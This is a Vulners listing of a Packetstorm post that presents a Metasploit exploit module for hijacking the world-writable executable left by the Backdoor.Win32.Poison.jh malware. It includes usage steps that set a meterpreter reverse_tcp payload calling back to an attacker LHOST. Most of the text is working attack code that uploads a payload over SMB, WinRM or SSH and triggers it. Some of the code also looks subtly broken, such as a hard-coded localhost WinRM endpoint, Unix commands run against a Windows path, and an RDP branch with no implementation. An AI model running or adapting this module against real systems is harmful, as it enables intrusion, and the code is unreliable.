Lucene search
K

📄 Backdoor.Win32.Poison.jh Remote File Hijack

🗓️ 26 Dec 2025 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 147 Views

Educational Metasploit module shows how insecure SysWOW64 permissions enable file hijack and code execution.

Code
=============================================================================================================================================
    | # Title     : Backdoor.Win32.Poison.jh Remote File Hijack Exploit                                                                         |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : System built‑in component. No standalone download available                                                                 |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/213264/ & MVID-2025-0704
    
    [+] Summary    : This code represents an educational Metasploit module concept that demonstrates how insecure file permissions created by malware (Poison.jh) 
                     could be abused to achieve code execution.
                     The scenario assumes that the malware drops an executable file inside a protected Windows directory (SysWOW64) 
    				 with overly permissive access rights (e.g., Everyone: Full Control). If such a misconfiguration exists, 
    				 an attacker who already has valid access (credentials, SMB, WinRM, or SSH) could theoretically replace the file with a malicious payload. 
    				 When the file is later executed by the system or malware itself, the attacker’s code would run.
    
    [+] Key points:
    
    This is not a native Windows vulnerability.
    
    It does not work on clean or properly configured systems.
    
    It requires existing malware, write permissions, and a trigger for execution.
    
    In real-world conditions, Windows system directories are protected and prevent this attack without administrative privileges.
    				 
    [+] Vulnerability Overview :
    
    CWE-276: Incorrect Default Permissions
    
    Malware: Backdoor.Win32.Poison.jh
    
    Location: C:\Windows\SysWOW64\28463\YJBE.exe
    
    Flaw: File has Everyone:(ID)F (Full Control) permissions
    
    Impact: Any local user can modify/replace the malware executable
    	
    Type: Backdoor Trojan (Win32/Windows)
    
    Purpose: Grants attackers unauthorized remote access and control over the infected system.
    Behavior: Can execute commands, download/upload files, steal sensitive data, and connect to C2 (Command & Control) servers.
    Discovery: Part of the Backdoor.Win32.Poison family, first identified around 2009. The .jh suffix refers to a specific variant or signature used by antivirus vendors.
    Source: Developed by malware authors; not self-spreading, usually delivered via malicious downloads, infected executables, or phishing.
    Relation to Poison Ivy: Not necessarily Poison Ivy itself, but shares similar RAT functionality.
    Detection & Prevention: Detected by major AV solutions like Microsoft Defender, Trend Micro, and Kaspersky. Removal requires standard AV cleanup and disconnecting from networks.
    Key Points: Unauthorized remote control, file manipulation, data theft, part of Poison family, Windows-targeted, identified in AV databases since ~2009.
    
    [+] PoC : 
    
    [+] Module Usage Guide :
    
    Installation:
    
    # Copy to Metasploit modules directory ====> cp poison_jh_remote.rb ~/.msf4/modules/exploits/windows/remote/
    
    Usage Examples:
    
    1. Check if target is vulnerable:
    
    msf6 > use exploit/windows/remote/poison_jh_file_hijack
    msf6 exploit(poison_jh_file_hijack) > set RHOST 192.168.1.100
    msf6 exploit(poison_jh_file_hijack) > set SMBUser administrator
    msf6 exploit(poison_jh_file_hijack) > set SMBPass Password123
    msf6 exploit(poison_jh_file_hijack) > set CHECK_ONLY true
    msf6 exploit(poison_jh_file_hijack) > run
    
    2. Full exploit via SMB:
    
    msf6 > use exploit/windows/remote/poison_jh_file_hijack
    msf6 exploit(poison_jh_file_hijack) > set RHOST 192.168.1.100
    msf6 exploit(poison_jh_file_hijack) > set SMBUser administrator
    msf6 exploit(poison_jh_file_hijack) > set SMBPass Password123
    msf6 exploit(poison_jh_file_hijack) > set PROTOCOL SMB
    msf6 exploit(poison_jh_file_hijack) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
    msf6 exploit(poison_jh_file_hijack) > set LHOST 192.168.1.50
    msf6 exploit(poison_jh_file_hijack) > set LPORT 4444
    msf6 exploit(poison_jh_file_hijack) > exploit
    
    3. Exploit via WinRM:
    
    msf6 exploit(poison_jh_file_hijack) > set PROTOCOL WinRM
    msf6 exploit(poison_jh_file_hijack) > set WINRM_USER admin
    msf6 exploit(poison_jh_file_hijack) > set WINRM_PASS Password123
    msf6 exploit(poison_jh_file_hijack) > set RPORT 5985
    msf6 exploit(poison_jh_file_hijack) > exploit
    
    4. Exploit via SSH:
    
    msf6 exploit(poison_jh_file_hijack) > set PROTOCOL SSH
    msf6 exploit(poison_jh_file_hijack) > set SMBUser root  # SSH username
    msf6 exploit(poison_jh_file_hijack) > set SMBPass password123  # SSH password
    msf6 exploit(poison_jh_file_hijack) > set RPORT 22
    msf6 exploit(poison_jh_file_hijack) > exploit
    
    ##
    # Module: exploit/windows/remote/poison_jh_file_hijack
    # Title: Poison.jh Remote File Hijack Exploit
    # Description: Exploits Poison.jh malware's insecure file permissions remotely
    ##
    
    require 'msf/core'
    require 'rex'
    require 'net/ssh'
    require 'net/smtp'
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::SMB::Client
      include Msf::Exploit::Remote::WinRM
      include Msf::Exploit::Remote::Tcp
      include Msf::Exploit::EXE
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'Poison.jh Remote File Permission Hijack',
          'Description'    => %q{
            This module exploits the insecure file permissions of the Backdoor.Win32.Poison.jh
            malware to achieve remote code execution. The malware creates a world-writable
            executable at C:\Windows\SysWOW64\28463\YJBE.exe, allowing remote attackers to
            replace the file and execute arbitrary code.
            
            This module requires network access to the target and valid credentials.
          },
          'Author'         => [
            'indoushka',
            'Based on Malvuln advisory MVID-2025-0704'
          ],
          'License'        => MSF_LICENSE,
          'References'     => [
            ['URL', 'https://malvuln.com/advisory/3d9821cbe836572410b3c5485a7f76ca.txt'],
            ['CWE', '276'],
            ['MVID', 'MVID-2025-0704']
          ],
          'Platform'       => 'win',
          'Arch'           => [ARCH_X86, ARCH_X64],
          'Payload'        => {
            'Space'       => 2048,
            'DisableNops' => true
          },
          'Targets'        => [
            ['Windows (via SMB)', {}],
            ['Windows (via WinRM)', {}],
            ['Windows (via RDP)', {}]
          ],
          'DefaultTarget'  => 0,
          'Privileged'     => false,
          'DisclosureDate' => '2025-12-23'
        ))
    
        register_options([
          OptString.new('RHOST', [true, 'The target address']),
          OptString.new('RPORT', [false, 'The target port', 445]),
          OptString.new('SMBUser', [false, 'SMB Username']),
          OptString.new('SMBPass', [false, 'SMB Password']),
          OptString.new('SMBDomain', [false, 'SMB Domain']),
          OptString.new('TARGET_PATH', [
            true,
            'Path to vulnerable Poison.jh executable',
            'C:\\Windows\\SysWOW64\\28463\\YJBE.exe'
          ]),
          OptEnum.new('PROTOCOL', [
            true,
            'Protocol to use for exploitation',
            'SMB',
            ['SMB', 'WinRM', 'RDP', 'SSH']
          ]),
          OptBool.new('CHECK_ONLY', [
            true,
            'Only check if target is vulnerable',
            false
          ]),
          OptString.new('WINRM_USER', [false, 'WinRM username']),
          OptString.new('WINRM_PASS', [false, 'WinRM password']),
          OptInt.new('CHECK_TIMEOUT', [true, 'Timeout for checking vulnerability', 30])
        ])
      end
    
      # ---------------------------------------------------------------
      # Check if target is vulnerable
      # ---------------------------------------------------------------
      def check
        print_status("Checking if #{rhost} is vulnerable to Poison.jh file hijack...")
        
        case datastore['PROTOCOL']
        when 'SMB'
          return check_via_smb
        when 'WinRM'
          return check_via_winrm
        when 'SSH'
          return check_via_ssh
        else
          return Exploit::CheckCode::Unknown("Unsupported protocol: #{datastore['PROTOCOL']}")
        end
      end
    
      # ---------------------------------------------------------------
      # SMB-based vulnerability check
      # ---------------------------------------------------------------
      def check_via_smb
        begin
          connect_smb
          
          # Try to access the vulnerable path
          target_path = datastore['TARGET_PATH']
          share, path = split_unc_path(target_path)
          
          print_status("Attempting to connect to share: #{share}")
          
          begin
            smb_login
            
            # Try to open file for writing
            file = smb_open(path, 'rwct')
            
            if file
              print_good("File is writable via SMB: #{target_path}")
              file.close
              disconnect_smb
              return Exploit::CheckCode::Vulnerable("File is world-writable via SMB")
            end
          rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
            print_status("Cannot write to file: #{e}")
          end
          
          disconnect_smb
          
        rescue ::Rex::ConnectionError => e
          print_error("Connection failed: #{e}")
          return Exploit::CheckCode::Unknown("Connection failed")
        rescue ::Exception => e
          print_error("Check failed: #{e}")
          return Exploit::CheckCode::Unknown("Check failed: #{e}")
        end
        
        Exploit::CheckCode::Safe("File not writable via SMB")
      end
    
      # ---------------------------------------------------------------
      # WinRM-based vulnerability check
      # ---------------------------------------------------------------
      def check_via_winrm
        begin
          print_status("Checking via WinRM...")
          
          # Execute PowerShell command to check file permissions
          cmd = "Get-Acl '#{datastore['TARGET_PATH']}' | Select-Object -ExpandProperty Access | Where-Object {$_.IdentityReference -match 'Everyone' -and $_.FileSystemRights -match 'FullControl'}"
          
          result = winrm_execute(cmd)
          
          if result && result.include?('Everyone')
            print_good("File has Everyone:FullControl permissions")
            return Exploit::CheckCode::Vulnerable("File permissions allow write access")
          end
          
        rescue ::Exception => e
          print_error("WinRM check failed: #{e}")
          return Exploit::CheckCode::Unknown("WinRM check failed: #{e}")
        end
        
        Exploit::CheckCode::Safe("File not writable via WinRM")
      end
    
      # ---------------------------------------------------------------
      # SSH-based vulnerability check
      # ---------------------------------------------------------------
      def check_via_ssh
        begin
          print_status("Checking via SSH...")
          
          # Check if file exists and is writable
          cmd = "test -w '#{datastore['TARGET_PATH']}' && echo 'WRITABLE' || echo 'NOT_WRITABLE'"
          
          result = ssh_exec(cmd)
          
          if result && result.include?('WRITABLE')
            print_good("File is writable via SSH")
            return Exploit::CheckCode::Vulnerable("File is writable via SSH")
          end
          
        rescue ::Exception => e
          print_error("SSH check failed: #{e}")
          return Exploit::CheckCode::Unknown("SSH check failed: #{e}")
        end
        
        Exploit::CheckCode::Safe("File not writable via SSH")
      end
    
      # ---------------------------------------------------------------
      # Main exploit function
      # ---------------------------------------------------------------
      def exploit
        print_status("Starting exploit against #{rhost}...")
        
        # Check if target is vulnerable
        case check
        when Exploit::CheckCode::Vulnerable
          print_good("Target is vulnerable!")
        else
          fail_with(Failure::NotVulnerable, "Target is not vulnerable")
        end
        
        # Generate payload
        print_status("Generating payload...")
        payload_exe = generate_payload_exe
        
        # Upload and replace file based on protocol
        case datastore['PROTOCOL']
        when 'SMB'
          exploit_via_smb(payload_exe)
        when 'WinRM'
          exploit_via_winrm(payload_exe)
        when 'SSH'
          exploit_via_ssh(payload_exe)
        when 'RDP'
          exploit_via_rdp(payload_exe)
        end
        
        # Trigger execution
        trigger_payload
        
        # Report
        report_vuln({
          host: rhost,
          name: self.name,
          refs: self.references,
          info: "Poison.jh file hijack exploited"
        })
      end
    
      # ---------------------------------------------------------------
      # Exploit via SMB
      # ---------------------------------------------------------------
      def exploit_via_smb(payload_exe)
        print_status("Exploiting via SMB...")
        
        begin
          connect_smb
          smb_login
          
          target_path = datastore['TARGET_PATH']
          share, path = split_unc_path(target_path)
          
          # Backup original file
          backup_path = path + ".backup"
          begin
            smb_rename(path, backup_path)
            print_status("Backed up original file to: #{backup_path}")
          rescue
            print_warning("Could not backup original file")
          end
          
          # Upload payload
          print_status("Uploading payload to #{target_path}...")
          file = smb_create(path)
          file.write(payload_exe)
          file.close
          
          print_good("Payload uploaded successfully!")
          
        rescue ::Exception => e
          print_error("SMB exploit failed: #{e}")
          fail_with(Failure::Unknown, "SMB upload failed")
        ensure
          disconnect_smb
        end
      end
    
      # ---------------------------------------------------------------
      # Exploit via WinRM
      # ---------------------------------------------------------------
      def exploit_via_winrm(payload_exe)
        print_status("Exploiting via WinRM...")
        
        # Convert payload to base64 for PowerShell
        payload_b64 = Rex::Text.encode_base64(payload_exe)
        
        # PowerShell script to replace file
        ps_script = <<~PS
          $TargetPath = '#{datastore['TARGET_PATH']}'
          $BackupPath = $TargetPath + '.backup'
          $PayloadBytes = [System.Convert]::FromBase64String('#{payload_b64}')
          
          # Backup original
          if (Test-Path $TargetPath) {
            Copy-Item $TargetPath $BackupPath -Force
            Write-Host "Backed up to: $BackupPath"
          }
          
          # Write payload
          [System.IO.File]::WriteAllBytes($TargetPath, $PayloadBytes)
          Write-Host "Payload written to: $TargetPath"
          
          # Set execution attributes if needed
          attrib -r $TargetPath
        PS
        
        result = winrm_execute_ps(ps_script)
        
        if result && result.include?('Payload written')
          print_good("Payload uploaded via WinRM")
        else
          fail_with(Failure::Unknown, "WinRM upload failed")
        end
      end
    
      # ---------------------------------------------------------------
      # Exploit via SSH
      # ---------------------------------------------------------------
      def exploit_via_ssh(payload_exe)
        print_status("Exploiting via SSH...")
        
        # Save payload locally first
        local_path = "/tmp/payload_#{Rex::Text.rand_text_alpha(8)}.exe"
        File.binwrite(local_path, payload_exe)
        
        # SSH commands
        target_path = datastore['TARGET_PATH']
        backup_path = target_path + ".backup"
        
        ssh_cmds = [
          "cp #{target_path} #{backup_path} 2>/dev/null || true",
          "echo 'Backup created: #{backup_path}'",
          "cat > #{target_path} << 'EOF'",
          payload_exe.force_encoding('UTF-8'),
          "EOF",
          "chmod +x #{target_path}",
          "echo 'Payload uploaded to #{target_path}'"
        ]
        
        result = ssh_exec(ssh_cmds.join('; '))
        
        if result && result.include?('Payload uploaded')
          print_good("Payload uploaded via SSH")
        else
          fail_with(Failure::Unknown, "SSH upload failed")
        end
        
        # Clean up local file
        File.delete(local_path) if File.exist?(local_path)
      end
    
      # ---------------------------------------------------------------
      # Trigger payload execution
      # ---------------------------------------------------------------
      def trigger_payload
        print_status("Attempting to trigger payload execution...")
        
        trigger_commands = [
          # WMI
          "wmic process call create '#{datastore['TARGET_PATH']}'",
          
          # PowerShell
          "powershell -c Start-Process '#{datastore['TARGET_PATH']}'",
          
          # CMD
          "cmd /c start '#{datastore['TARGET_PATH']}'",
          
          # Direct execution
          datastore['TARGET_PATH']
        ]
        
        trigger_commands.each do |cmd|
          begin
            case datastore['PROTOCOL']
            when 'WinRM'
              result = winrm_execute(cmd)
              if result
                print_good("Payload triggered via: #{cmd}")
                break
              end
            when 'SSH'
              result = ssh_exec(cmd)
              if result
                print_good("Payload triggered via: #{cmd}")
                break
              end
            end
          rescue
            next
          end
        end
        
        print_status("Waiting for payload to execute...")
        Rex.sleep(10)
      end
    
      # ---------------------------------------------------------------
      # Helper: Split UNC path to share and path
      # ---------------------------------------------------------------
      def split_unc_path(full_path)
        # Convert C:\path\to\file to \\server\share\path\to\file
        if full_path =~ /^([A-Za-z]):\\(.*)$/
          drive = $1
          path = $2
          share = "#{drive}$"
          return share, path
        end
        return nil, full_path
      end
    
      # ---------------------------------------------------------------
      # Helper: Execute WinRM command
      # ---------------------------------------------------------------
      def winrm_execute(cmd)
        return unless datastore['WINRM_USER'] && datastore['WINRM_PASS']
        
        begin
          opts = {
            host: rhost,
            port: datastore['RPORT'] || 5985,
            user: datastore['WINRM_USER'],
            pass: datastore['WINRM_PASS'],
            transport: :negotiate,
            ssl: false,
            endpoint: 'http://localhost:5985/wsman'
          }
          
          winrm = Net::WinRM::Connection.new(opts)
          winrm.shell(:powershell) do |shell|
            output = shell.run(cmd) do |stdout, stderr|
              return stdout if stdout
            end
          end
        rescue => e
          print_error("WinRM execute failed: #{e}")
          nil
        end
      end
    
      # ---------------------------------------------------------------
      # Helper: Execute PowerShell via WinRM
      # ---------------------------------------------------------------
      def winrm_execute_ps(ps_script)
        winrm_execute("powershell -encodedcommand #{Rex::Text.encode_base64(ps_script)}")
      end
    
      # ---------------------------------------------------------------
      # Helper: Execute SSH command
      # ---------------------------------------------------------------
      def ssh_exec(cmd)
        return unless datastore['SMBUser'] && datastore['SMBPass']
        
        begin
          ssh = Net::SSH.start(
            rhost,
            datastore['SMBUser'],
            password: datastore['SMBPass'],
            port: datastore['RPORT'] || 22,
            timeout: 30
          )
          
          result = ""
          ssh.exec!(cmd) do |channel, stream, data|
            result << data if stream == :stdout
          end
          
          ssh.close
          result
        rescue => e
          print_error("SSH execute failed: #{e}")
          nil
        end
      end
    
      # ---------------------------------------------------------------
      # Helper: Connect to SMB
      # ---------------------------------------------------------------
      def connect_smb
        self.simple = ::Rex::Proto::SMB::SimpleClient.new(
          address, 
          port: datastore['RPORT'] || 445,
          username: datastore['SMBUser'],
          password: datastore['SMBPass'],
          domain: datastore['SMBDomain']
        )
        
        self.simple.connect
      end
    
      def disconnect_smb
        self.simple.close if self.simple
      end
    
      def smb_login
        self.simple.login
      end
    
      def smb_open(path, mode)
        self.simple.open(path, mode)
      end
    
      def smb_create(path)
        self.simple.create(path)
      end
    
      def smb_rename(old_path, new_path)
        self.simple.rename(old_path, new_path)
      end
    end
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation